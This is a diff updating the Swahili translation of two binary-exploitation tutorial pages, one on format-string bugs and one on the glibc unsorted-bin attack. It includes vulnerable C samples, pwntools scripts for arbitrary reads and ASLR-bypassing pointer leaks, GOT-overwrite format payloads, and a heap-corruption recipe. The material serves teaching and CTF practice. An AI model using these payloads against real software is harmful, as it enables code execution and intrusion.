diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index d4e663919..e1c421543 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## Taarifa za Msingi -Katika C **`printf`** ni funsi inayoweza kutumika **kuchapisha** kamba ya herufi. Parameta ya kwanza ambayo funsi hii inatarajia ni maandishi ghafi yenye **vibadilishi vya muundo**. Parameta zinazofuata ni thamani zitakazobadilisha **vibadilishi vya muundo** katika maandishi ghafi. +Katika C **`printf`** ni function inayoweza kutumika **kuchapisha** kamba ya maandishi. Kigezo cha **kwanza** ambacho function hii inatarajia ni **maandishi ya ghafi yenye formatters**. Kigezo kinachofuata kinatarajiwa kuwa ni **thamani** za **kuchukua nafasi** za **formatters** kutoka kwa maandishi ya ghafi. -Funsi nyingine zilizo na udhaifu ni **`sprintf()`** na **`fprintf()`**. +Functions nyingine zilizo hatarini ni **`sprintf()`** na **`fprintf()`**. -Udhaifu hujitokeza wakati maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza kwa funsi hii. Mshambuliaji ataweza kutengeneza ingizo maalum akitumia vibaya uwezo wa printf format string kusoma na kuandika data yoyote kwenye anwani yoyote (readable/writable). Kwa njia hii atakuwa na uwezo wa execute arbitrary code. +Utaratibu huo wa udhaifu hutokea wakati **maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza** kwa function hii. Mshambuliaji ataweza kutengeneza **ingizo maalum akitumia mbinu za printf format** kusoma na **kuandika data yoyote kwenye anuani yoyote (inayosomwa/inaoweza kuandikwa)**. Kwa njia hii ataweza **kutekeleza code yoyote anayoitaka**. -#### Vibadilishi: +#### Vitambulishi (Formatters): ```bash %08x —> 8 hex bytes %d —> Entire @@ -24,7 +24,7 @@ Udhaifu hujitokeza wakati maandishi ya mshambuliaji yanapotumika kama hoja ya kw ``` **Mifano:** -- Mfano dhaifu: +- Mfano wenye udhaifu: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. @@ -35,11 +35,11 @@ printf(buffer); // If buffer contains "%x", it reads from the stack. int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` -- Kwa Vigezo Vilivyokosekana: +- Kwa hoja zilizokosekana: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` -- fprintf dhaifu: +- fprintf wenye udhaifu: ```c #include @@ -54,26 +54,26 @@ return 0; ``` ### **Kupata Pointers** -Muundo **`%$x`**, ambapo `n` ni nambari, unaruhusu kuagiza printf ichague kigezo cha n (kutoka kwenye stack). Kwa hivyo, ikiwa unataka kusoma kigezo cha nne kutoka kwenye stack ukitumia printf unaweza kufanya: +Muundo **`%$x`**, ambapo `n` ni nambari, huruhusu kuagiza printf ichague param ya n (kutoka kwenye stack). Hivyo, ikiwa unataka kusoma param ya 4 kutoka kwenye stack kwa kutumia printf unaweza kufanya: ```c printf("%x %x %x %x") ``` -na ungeweza kusoma kutoka param ya kwanza hadi param ya nne. +na ungeisoma kutoka param ya kwanza hadi param ya nne. Au unaweza kufanya: ```c printf("%4$x") ``` -na soma moja kwa moja ya nne. +na kusoma moja kwa moja ile ya nne. -Kumbuka kwamba mshambuliaji anadhibiti `printf` **parameter, ambayo kwa msingi wake inamaanisha kwamba** ingizo lake litawekwa kwenye stack wakati `printf` itakapoitwa, ambayo inamaanisha anaweza kuandika specific memory addresses kwenye stack. +Tambua kwamba mshambulizi anadhibiti parameter ya `printf`, ambayo kwa msingi inamaanisha kwamba input yake itakuwa kwenye stack wakati `printf` inapoitwa, na hivyo anaweza kuandika memory addresses maalum kwenye stack. > [!CAUTION] -> Mshambuliaji anayeudhibiti ingizo hili ataweza **add arbitrary address in the stack and make `printf` access them**. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii. +> Mshambulizi anayetumia input hii ataweza **kuongeza arbitrary address kwenye stack na kufanya `printf` ziifikie**. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii. ## **Arbitrary Read** -Inawezekana kutumia formatter **`%n$s`** kufanya **`printf`** ichukue **address** iliyoko kwenye **n position**, kufuatilia na **kuiprint kama ingekuwa string** (kuprint hadi 0x00 inapopatikana). Kwa hiyo ikiwa base address ya binary ni **`0x8048000`**, na tunajua kwamba user input inaanza kwenye 4th position kwenye stack, inawezekana kuprint mwanzo wa binary kwa: +Inawezekana kutumia formatter **`%n$s`** kufanya **`printf`** ichukue **address** iliyoko katika **nafasi n**, kuifuata na **kuichapisha kana kwamba ni string** (inachapisha hadi 0x00 ipatikane). Kwa hivyo ikiwa base address ya binary ni **`0x8048000`**, na tunajua kwamba user input inaanza kwenye nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary kwa: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Kumbuka huwezi kuweka anwani 0x8048000 mwanzoni mwa input kwa sababu string itakuwa cat katika 0x00 mwishoni mwa anwani hiyo. +> Kumbuka kwamba huwezi kuweka anwani 0x8048000 mwanzoni mwa input kwa sababu string itakatwa kwa 0x00 mwishoni mwa anwani hiyo. ### Tafuta offset -Ili kupata offset kwa input yako, unaweza kutuma 4 au 8 bytes (`0x41414141`) ikifuatiwa na **`%1$x`** na **ongeza** thamani hadi utakapopata `A's`. +Ili kupata offset kwa input yako unaweza kutuma 4 au 8 bytes (`0x41414141`) ikifuatiwa na **`%1$x`** na **ongeza** thamani mpaka utakapopata `A's`.
@@ -126,45 +126,45 @@ p.close() ```
-### Ni muhimu vipi +### Inavyosaidia -Arbitrary reads zinaweza kuwa muhimu kwa: +Arbitrary reads zinaweza kusaidia kwa: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** the **binary** kutoka kumbukumbu +- **Pata sehemu maalum za kumbukumbu ambapo** **taarifa nyeti** imehifadhiwa (kama canaries, encryption keys au custom passwords kama katika [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the param in the stack. Ikiwa mshambuliaji anaweza kuandika herufi kwa wingi anayetaka kwa kutumia printf, ataweza kumfanya **`%$n`** iandike namba yoyote katika anuani yoyote. +The formatter **`%$n`** **inaandika** **idadi ya bytes zilizyoandikwa** katika **anwani iliyoonyeshwa** kwenye param ya kwenye stack. Ikiwa mshambulizi anaweza kuandika char nyingi kadri atakavyotaka kwa printf, ataweza kufanya **`%$n`** iandike nambari yoyote katika anwani yoyote. -Kwa bahati nzuri, ili kuandika namba 9999, haitohitaji kuongeza "A" 9999 kwenye input; badala yake inawezekana kutumia formatter **`%.%$n`** kuandika namba **``** katika **anuani inayonyoshwa na nafasi ya `num`**. +Kwa bahati nzuri, kuandika nambari 9999 hakuhitaji kuongeza "A" 9999 kwenye input; badala yake inawezekana kutumia formatter **`%.%$n`** kuandika nambari **``** kwenye **anwani inayorejelewa na nafasi ya `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama `0x08049724` (ambayo ni Nambari KUBWA kuandika kwa mara moja), **inatumika `$hn`** badala ya `$n`. Hii inawezesha **kuandika tu 2 Bytes**. Kwa hiyo operesheni hii hufanywa mara mbili, moja kwa 2B za juu za anwani na tena kwa zile za chini. +Hata hivyo, kumbuka kuwa kawaida ili kuandika anwani kama `0x08049724` (ambayo ni namba KUBWA kuandika kwa mara moja), **inatumika `$hn`** badala ya `$n`. Hii inaruhusu **kuandika Bytes 2 tu**. Kwa hivyo operesheni hii hufanywa mara mbili, moja kwa 2B za juu zaidi za anwani na mara nyingine kwa zile za chini. -Kwa hivyo, uharibifu huu unawezesha **kuandika kitu chochote katika anwani yoyote (arbitrary write).** +Kwa hivyo, udhaifu huu unaruhusu **kuandika chochote katika anwani yoyote (arbitrary write).** -Katika mfano huu, lengo litakuwa **kuandika upya** **anwani** ya **function** katika jedwali la **GOT** ambayo itaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za arbitrary write to exec: +Katika mfano huu, lengo litakuwa **overwrite** anwani ya **function** katika jedwali la **GOT** ambayo itaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za arbitrary write to exec: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Tutafanya **kuandika upya** **function** ambayo **inapokea** hoja zake kutoka kwa mtumiaji na kuielekeza kwa **`system`** **function**.\ -Kama ilivyotajwa, kuandika anwani kawaida kunahitaji hatua 2: Kwanza unaandika **2Bytes** za anwani kisha zile nyingine 2. Kufanya hivyo **`$hn`** inatumika. +Tutafanya **overwrite** ya **function** ambayo **hupokea** hoja zake (arguments) kutoka kwa **user** na **kuielekeza** kwenye **`system`** **function**.\ +Kama ilivyotajwa, kuandika anwani kawaida kunahitaji hatua 2: Unaandika **awali 2Bytes** za anwani kisha zile nyingine 2. Kwa kufanya hivyo hutumika **`$hn`**. -- **HOB** inarejelewa kwa 2 bytes za juu za anwani -- **LOB** inarejelewa kwa 2 bytes za chini za anwani +- **HOB** inaitwa kwa 2 Bytes za juu za anwani +- **LOB** inaitwa kwa 2 Bytes za chini za anwani -Kisha, kutokana na jinsi format string inavyofanya kazi lazima **uandike kwanza ndogo zaidi** ya [HOB, LOB] kisha nyingine. +Kisha, kutokana na jinsi format string inavyofanya kazi unahitaji **kuandika kwanza ile ndogo** ya \[HOB, LOB] kisha ile nyingine. -Ikiwa HOB < LOB\ +If HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -Ikiwa HOB > LOB\ +If HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB @@ -173,7 +173,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ``` ### Pwntools Kiolezo -Unaweza kupata **kiolezo** cha kuandaa exploit kwa aina hii ya udhaifu katika: +Unaweza kupata **kiolezo** la kuandaa exploit kwa aina hii ya udhaifu katika: {{#ref}} @@ -201,17 +201,17 @@ p.interactive() ``` ## Format Strings to BOF -Ni uwezekano kutumia vibaya vitendo vya kuandika vya format string vulnerability ili **kuandika kwenye anwani za stack** na kushambulia aina ya **buffer overflow**. +Inawezekana kutumia vibaya vitendo vya kuandika vya format string vulnerability ili **kuandika katika anwani za stack** na exploit aina ya **buffer overflow**. ## Windows x64: Format-string leak to bypass ASLR (no varargs) -On Windows x64 vigezo vinne vya kwanza vya integer/pointer hupitishwa kwa registers: RCX, RDX, R8, R9. Katika call-sites nyingi zenye mdudu, attacker-controlled string hutumiwa kama format argument lakini hakuna variadic arguments zinazotolewa, kwa mfano: +On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. In many buggy call-sites the attacker-controlled string is used as the format argument but no variadic arguments are provided, for example: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Kwa sababu hakuna varargs zinazopelekwa, any conversion like "%p", "%x", "%s" itasababisha CRT kusoma the next variadic argument kutoka kwa rejista inayofaa. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR. +Kwa sababu hakuna varargs zinazopitishwa, conversion yoyote kama "%p", "%x", "%s" itasababisha CRT kusoma the next variadic argument kutoka kwa register inayofaa. Kwa Microsoft x64 calling convention, kusomwa kwa kwanza kwa "%p" kunatokea kutoka R9. Thamani yoyote ya muda iliyoko ndani ya R9 wakati wa call-site itachapishwa. Kivitendo hili mara nyingi huleak in-module pointer thabiti (mfano, pointer kwa local/global object iliyowekwa hapo awali katika R9 na surrounding code au callee-saved value), ambayo inaweza kutumika kurecover module base na kushinda ASLR. Practical workflow: @@ -231,26 +231,27 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` -Vidokezo: -- Offset kamili ya kutoa hupatikana mara moja wakati wa local reversing kisha kutumika tena (same binary/version). -- Ikiwa "%p" haitachapisha pointer halali katika jaribio la kwanza, jaribu specifiers nyingine ("%llx", "%s") au conversions nyingi ("%p %p %p") ili kusampuli registers/stack za argument nyingine. -- Mfano huu ni maalum kwa Windows x64 calling convention na implementations za printf-family ambazo hunyakua varargs zisizo zipo kutoka registers wakati format string inazoziomba. +Notes: +- Offset sahihi ya kutoa hupatikana mara moja wakati wa local reversing kisha kutumika tena (same binary/version). +- Ikiwa "%p" haitachapishi pointer halali kwenye jaribio la kwanza, jaribu specifiers wengine ("%llx", "%s") au conversions nyingi ("%p %p %p") ili kuchukua sampuli ya argument registers/stack nyingine. +- Mfumo huu ni maalum kwa Windows x64 calling convention na implementations za printf-family ambazo hupakua varargs zisizokuwepo kutoka registers wakati format string inazowahitaji. -Mbinu hii ni muhimu sana kuanzisha ROP kwenye Windows services zilizotengenezwa kwa ASLR na bila primitives wazi za memory disclosure. +Mbinu hii ni muhimu sana kuanzisha ROP kwenye Windows services zilizojengwa na ASLR na ambazo hazina memory disclosure primitives za wazi. -## Mifano Nyingine & Marejeo +## Other Examples & References - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, matumizi ya msingi ya format strings ku-leak flag kutoka stack (hakuna haja ya kubadilisha mtiririko wa utekelezaji) +- 32 bit, no relro, no canary, nx, no pie, matumizi ya msingi ya format strings ili leak the flag kutoka kwenye stack (hakuna haja ya kubadilisha execution flow) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string ili ku-overwrite address ya `fflush` na win function (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string ya kuandika juu address `fflush` na win function (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string ya kuandika address ndani ya main katika `.fini_array` (kwa hivyo flow inarudi tena mara 1) na kuandika address ya `system` kwenye GOT table ikielekeza kwa `strlen`. Wakati flow inaporudi main, `strlen` itatekelezwa na user input na ikiwa inamaanisha `system`, itatekeleza amri zilizopitishwa. +- 32 bit, relro, no canary, nx, no pie, format string ya kuandika address ndani ya main kwenye `.fini_array` (kwa hivyo flow inarudi tena mara 1) na kuandika address kwa `system` kwenye GOT table inayoelekeza kwa `strlen`. Wakati flow inaporudi main, `strlen` itatekelezwa na user input na ikiwa inarejea kwa `system`, itatekeleza amri zilizopitishwa. -## Marejeo + +## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index d88c9f6f2..a76864b2f 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -2,70 +2,72 @@ {{#include ../../banners/hacktricks-training.md}} -## Taarifa za Msingi +## Maelezo ya Msingi -For more information about what is an unsorted bin check this page: +Kwa taarifa zaidi kuhusu what is an unsorted bin angalia ukurasa huu: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists zinaweza kuandika anwani ya `unsorted_chunks (av)` katika anwani ya `bk` ya chunk. Kwa hiyo, ikiwa mshambuliaji anaweza **kubadilisha anwani ya pointer `bk`** katika chunk ndani ya unsorted bin, angeweza kuwa na uwezo wa **kuandika anwani hiyo mahali popote** ambayo inaweza kusaidia ku-leak anwani za Glibc au kuruka utetezi fulani. +Unsorted lists zinaweza kuandika anwani ya `unsorted_chunks (av)` katika anwani ya `bk` ya chunk. Kwa hivyo, ikiwa attacker anaweza **kubadilisha anwani ya pointer ya `bk`** katika chunk ndani ya unsorted bin, anaweza kuwa na uwezo wa **kuandika anwani hiyo kwenye anwani yoyote** ambayo inaweza kusaidia ku-leak anwani za Glibc au kupitisha baadhi ya ulinzi. -Kwa msingi, shambulio hili huruhusu **kuweka namba kubwa kwenye anwani yoyote**. Namba kubwa hii ni anwani, ambayo inaweza kuwa anwani ya heap au anwani ya Glibc. Lengo la jadi lilikuwa **`global_max_fast`** kuruhusu kuunda fast bin bins zenye ukubwa mkubwa (na kutoka unsorted bin attack kwenda fast bin attack). +Kimsingi, shambulio hili huruhusu **kuweka namba kubwa kwenye anwani yoyote**. Namba hii kubwa ni anwani, ambayo inaweza kuwa anwani ya heap au anwani ya Glibc. Lengo la jadi lilikuwa **`global_max_fast`** ili kuwezesha kuunda fast bins zenye ukubwa mkubwa (na kusonga kutoka unsorted bin attack hadi fast bin attack). -- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive. +- Modern note (glibc ≥ 2.39): `global_max_fast` imekuwa globali ya 8‑bit. Kuandika pointer pale bila kujali kupitia unsorted‑bin write kutaharibu data za libc jirani na haitainua kwa uhakika kikomo cha fastbin tena. Chagua malengo mengine au primitives nyingine unapokimbia dhidi ya glibc 2.39+. Angalia "Modern constraints" hapa chini na fikiria kuunganisha na mbinu nyingine kama [large bin attack](large-bin-attack.md) au [fast bin attack](fast-bin-attack.md) ukipata primitive thabiti. > [!TIP] -> T> Kuangalia mfano uliotolewa katika [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) na kutumia 0x4000 na 0x5000 badala ya 0x400 na 0x500 kama chunk sizes (ili kuepuka Tcache) inawezekana kuona kwamba **siku za hivi karibuni** hitilafu **`malloc(): unsorted double linked list corrupted`** inachochewa. +> Kuangalia mfano uliotolewa katika [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) na kutumia 0x4000 na 0x5000 badala ya 0x400 na 0x500 kama sizes za chunk (kuepuka Tcache) inaonyesha kuwa **sasa** kosa **`malloc(): unsorted double linked list corrupted`** linaibuliwa. > -> Hivyo, shambulio hili la unsorted bin sasa (miongoni mwa ukaguzi mwingine) pia linahitaji kuwa na uwezo wa kurekebisha double linked list ili kupitisha ukaguzi `victim->bk->fd == victim` au `victim->fd == av (arena)`, ambayo inamaanisha kwamba anwani tunayotaka kuandika lazima iwe na anwani ya fake chunk katika nafasi yake ya `fd` na kwamba `fd` ya fake chunk inarejea kwa arena. +> Kwa hivyo, shambulio hili la unsorted bin sasa (pamoja na ukaguzi mwingine) pia linahitaji uwezo wa kurekebisha double linked list ili kuepuka ukaguzi huo `victim->bk->fd == victim` au `victim->fd == av (arena)`, ambayo ina maana anwani tunayotaka kuandika lazima iwe na anwani ya fake chunk katika nafasi yake ya `fd` na kwamba `fd` ya fake chunk inazingatia arena. > [!CAUTION] -> Kumbuka kwamba shambulio hili linaharibu unsorted bin (na hivyo small na large pia). Kwa hivyo sasa tunaweza tu **kutumia allocations kutoka fast bin** (programu ngumu zaidi inaweza kufanya allocations nyingine na ku-crash), na ili kuchochea hili lazima **tufanye allocation ya ukubwa uleule au programu ita-crash.** +> Kumbuka kwamba shambulio hili linaharibu unsorted bin (na hivyo ndogo na kubwa pia). Kwa hivyo tunaweza tu **kutumia allocations kutoka fast bin sasa** (programu ngumu zaidi inaweza kufanya allocations nyingine na ku-crash), na kuamsha hili lazima **tunallocate ukubwa ule huo au programu ita-crash.** > -> Kumbuka kwamba kuandika juu ya **`global_max_fast`** kunaweza kusaidia katika kesi hii kwa kuamini kuwa fast bin itashughulikia allocations zote nyingine hadi exploit itakapokamilika. +> Kumbuka kwamba kuandika juu ya **`global_max_fast`** kunaweza kusaidia katika kesi hii ukitegemea kuwa fast bin itashughulikia allocations nyingine zote hadi exploit itakapokamilika. -Msimbo kutoka kwa [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) unaelezea vizuri sana, ingawa ukibadilisha mallocs kuomba memory kubwa vya kutosha ili zisimalizike kwenye Tcache utaona kuwa hitilafu iliyotajwa hapo juu inaonekana ikizuia mbinu hii: **`malloc(): unsorted double linked list corrupted`** +Msimbo kutoka kwa [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) unaelezea vizuri sana, ingawa ikiwa utakusanya mallocs ili kuwasilisha memory kubwa vya kutosha ili tusifikie Tcache utaona kwamba kosa lililotajwa hapo juu linaibuka na kuzuia mbinu hii: **`malloc(): unsorted double linked list corrupted`** ### Jinsi uandishi unavyotokea kwa kweli -- Uandishi wa unsorted-bin huchochewa wakati wa `free` wakati chunk iliyofunguliwa inaingizwa kwenye kichwa cha unsorted list. -- Wakati wa kuingiza, allocator hufanya `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` +- The unsorted-bin write inafanywa wakati wa `free` wakati chunk iliyofunguliwa inaingizwa kuwa kichwa cha unsorted list. +- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` - Ikiwa unaweza kuweka `victim->bk` kuwa `(mchunkptr)(TARGET - 0x10)` kabla ya kuita `free(victim)`, taarifa ya mwisho itafanya uandishi: `*(TARGET) = victim`. -- Baadaye, wakati allocator inashughulikia unsorted bin, ukaguzi wa uadilifu utathibitisha (miongoni mwa mambo mengine) kwamba `bck->fd == victim` na `victim->fd == unsorted_chunks(av)` kabla ya unlinking. Kwa sababu uingizaji tayari uliandika `victim` ndani ya `bck->fd` (TARGET yetu), ukaguzi huu unaweza kutimizwa ikiwa uandishi ulifanikiwa. +- Baadaye, wakati allocator itakaposhughulikia unsorted bin, ukaguzi wa integriti utathibitisha (pamoja na mambo mengine) kwamba `bck->fd == victim` na `victim->fd == unsorted_chunks(av)` kabla ya unlinking. Kwa sababu insertion tayari iliandika `victim` ndani ya `bck->fd` (TARGET yetu), ukaguzi huu unaweza kukidhiwa kama uandishi ulifanikiwa. ## Modern constraints (glibc ≥ 2.33) -Ili kutumia unsorted‑bin writes kwa kuaminika kwenye glibc ya sasa: +Ili kutumia unsorted‑bin writes kwa uhakika kwenye glibc ya sasa: -- Tcache interference: kwa sizes zinazopungua katika tcache, frees zinaelekezwa huko na hazitoghushi unsorted bin. Aidha: - - fanya maombi yenye sizes > MAX_TCACHE_SIZE (≥ 0x410 kwenye 64‑bit kwa default), au - - jaza tcache bin inayolingana (entries 7) ili frees nyingine zifikie global bins, au - - ikiwa mazingira yanaweza kudhibitiwa, zima tcache (mfano, GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- Integrity checks on the unsorted list: kwenye njia inayofanya allocation inayotazama unsorted bin, glibc hukagua (imepunguzwa): - - `bck->fd == victim` na `victim->fd == unsorted_chunks(av)`; vinginevyo inakata na `malloc(): unsorted double linked list corrupted`. -- Hii inamaanisha anwani unayolenga lazima kustahimili maandishi mawili: kwanza `*(TARGET) = victim` wakati wa free; baadaye, wakati chunk inapoondolewa, `*(TARGET) = unsorted_chunks(av)` (allocator anarudisha `bck->fd` kwa kichwa cha bin). Chagua malengo ambapo kulazimisha tu thamani kubwa isiyo-nya ni muhimu. -- Typical stable targets in modern exploits - - Hali ya programu au global inayotenda "large" values kama flags/limits. - - Indirect primitives (mfano, kuandaa kwa ajili ya [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) inayofuata au ku-pivot kwa write‑what‑where baadaye). - - Epuka `__malloc_hook`/`__free_hook` kwenye glibc mpya: zilitolewa kwenye 2.34. Epuka `global_max_fast` kwenye ≥ 2.39 (angalia nota ifuatayo). -- About `global_max_fast` on recent glibc - - On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies. +- Tcache interference: kwa sizes zinazopingana na tcache, frees zinaelekezwa huko na hazitagusa unsorted bin. Au +- fanya requests za sizes > MAX_TCACHE_SIZE (≥ 0x410 kwa 64‑bit kwa default), au +- jaza tcache bin inayohusiana (entries 7) ili frees za ziada zifikie global bins, au +- kama mazingira yanaweza kudhibitiwa, zima tcache (mfano, GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Integrity checks kwenye unsorted list: kwenye njia inayofuata ya allocation inayotazama unsorted bin, glibc inakagua (simplified): +- `bck->fd == victim` na `victim->fd == unsorted_chunks(av)`; vinginevyo inakata na `malloc(): unsorted double linked list corrupted`. +- Hii ina maana anwani unayolenga lazima ivumilie uandishi mara mbili: kwanza `*(TARGET) = victim` wakati wa free; baadaye, wakati chunk inapoondolewa, `*(TARGET) = unsorted_chunks(av)` (allocator anaandika tena `bck->fd` kurudi kichwani mwa bin). Chagua malengo ambapo kulazimisha tu thamani kubwa isiyokuwa sifuri ni muhimu. +- Malengo ya kawaida thabiti katika exploits za kisasa +- State ya programu au global inayotumiwa kama "large" values kama flags/limits. +- Indirect primitives (mfano, kuandaa kwa ajili ya [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) inayofuata au kupindisha uandishi mwingine wa write‑what‑where). +- Epuka `__malloc_hook`/`__free_hook` kwenye glibc mpya: ziliondolewa katika 2.34. Epuka `global_max_fast` kwenye ≥ 2.39 (ona nota ifuatayo). + +Kuhusu `global_max_fast` kwenye glibc za karibuni + +- Katika glibc 2.39+, `global_max_fast` ni globali ya 8‑bit. Mbinu ya kawaida ya kuandika pointer ya heap humo (kuongeza fastbins) haifanyi kazi safi tena na ina uwezekano wa kuharibu state ya allocator jirani. Tumia mikakati mingine. ## Minimal exploitation recipe (modern glibc) -Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing. +Lengo: pata uandishi mmoja wa anwani ya heap kwenye anwani yoyote ukitumia unsorted‑bin insertion primitive, bila kuleta crash. - Layout/grooming - - Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk. +- Allocate A, B, C kwa sizes kubwa vya kutosha kuepuka tcache (mfano, 0x5000). C inazuia consolidation na top chunk. - Corruption - - Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`. +- Overflow kutoka A hadi header ya chunk ya B ili seti `B->bk = (mchunkptr)(TARGET - 0x10)`. - Trigger - - `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`. +- `free(B)`. Wakati wa insertion allocator itatekeleza `bck->fd = B`, hivyo `*(TARGET) = B`. - Continuation - - If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big". +- Ikiwa unapanga kuendelea na kuallocate na programu inatumia unsorted bin, tarajia allocator baadaye kuweka `*(TARGET) = unsorted_chunks(av)`. Thamani zote mbili kwa kawaida ni kubwa na zinaweza kutosha kubadilisha semantics za size/limit kwenye malengo ambayo yanangalia tu "big". Pseudocode skeleton: ```c @@ -80,33 +82,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • Ikiwa huwezi kupita tcache kwa ukubwa, jaza tcache bin kwa ukubwa uliyoichagua (7 frees) kabla ya kuifree corrupted chunk ili free iende kwenye unsorted. -> • Ikiwa programu inakatika mara moja kwenye allocation inayofuata kutokana na unsorted-bin checks, angalia tena kwamba `victim->fd` bado ni sawa na bin head na kwamba `TARGET` yako inashikilia pointer kamili ya `victim` baada ya uandishi wa kwanza. +> • Ikiwa huwezi kupitisha tcache kwa ukubwa, jaza tcache bin kwa ukubwa ulioteuliwa (7 frees) kabla ya kuachilia chunk iliyoharibika ili free iende kwenye unsorted. +> • Ikiwa programu inakataza mara moja kwenye allocation inayofuata kutokana na unsorted-bin checks, angalia tena kwamba `victim->fd` bado ni sawa na bin head na kwamba `TARGET` yako inashikilia pointer halisi ya `victim` baada ya uandishi wa kwanza. ## 